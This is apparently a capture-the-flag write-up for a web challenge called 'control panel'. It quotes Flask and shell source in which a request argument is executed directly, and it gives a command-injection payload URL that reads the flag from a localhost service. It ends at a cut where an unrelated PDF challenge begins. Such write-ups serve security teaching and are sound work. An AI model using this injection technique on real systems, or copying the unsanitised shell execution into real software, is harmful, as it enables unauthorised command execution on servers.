By mr_mph
Looking in the source code we have app.py
:
from flask import Flask, render_template, request
from subprocess import getoutput
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
command = request.args.get("command")
if not command:
return render_template("index.html")
arg = request.args.get("arg")
if not arg:
arg = ""
if command == "list_processes":
return getoutput("ps")
elif command == "list_connections":
return getoutput("netstat -tulpn")
elif command == "list_storage":
return getoutput("df -h")
elif command == "destroy_humans":
return getoutput("/www/destroy_humans.sh " + arg)
return render_template("index.html")
Putting in a request like /?command=destroy_humans&arg=<arg>
We pass in that <arg>
to /www/destroy_humans.sh
:
#!/bin/sh
check_status() {
curl -s localhost:3000/status
}
destroy_humans() {
curl -s localhost:3000/destroy
}
if [ "$#" -gt 0 ]; then
$*
else
echo -e "Destroy Humans option selected. Please choose 'check_status' or 'destroy_humans'."
fi
If given an argument, it simply executes it. We now have code execution with:
https://uscybercombine-s4-control-panel.chals.io/?command=destroy_humans&arg=<cmd>
In another script, destroyer.py,
we see where the flag is located:
#!/usr/bin/env python3
import subprocess, json
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
def get_json(content):
return json.dumps(content).encode()
def http_server(host_port,content_type="application/json"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
def resp_ok():
self.send_response(200)
self.send_header("Content-type", content_type)
self.end_headers()
if self.path == '/status':
resp_ok()
self.wfile.write(get_json({'status': 'ready to destroy'}))
return
elif self.path == "/destroy":
resp_ok()
self.wfile.write(get_json({'status': "destruction complete!"}))
return
elif self.path == '/shutdown':
resp_ok()
self.wfile.write(get_json({'status': 'shutting down...'}))
self.wfile.write(get_json({'status': 'SIVBGR{no-flag-4-u}'}))
return
self.send_error(404, '404 not found')
def log_message(self, format, *args):
pass
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
http_server(('127.0.0.1',3000))
We can see the flag is at http://127.0.0.1:3000/shutdown
, to get it, we can just run curl -s <http://127.0.0.1:3000/shutdown
>
Final Payload:
https://uscybercombine-s4-control-panel.chals.io/?command=destroy_humans&arg=curl%20-s%20http://127.0.0.1:3000/shutdown
We are given a pdf with some redacted text: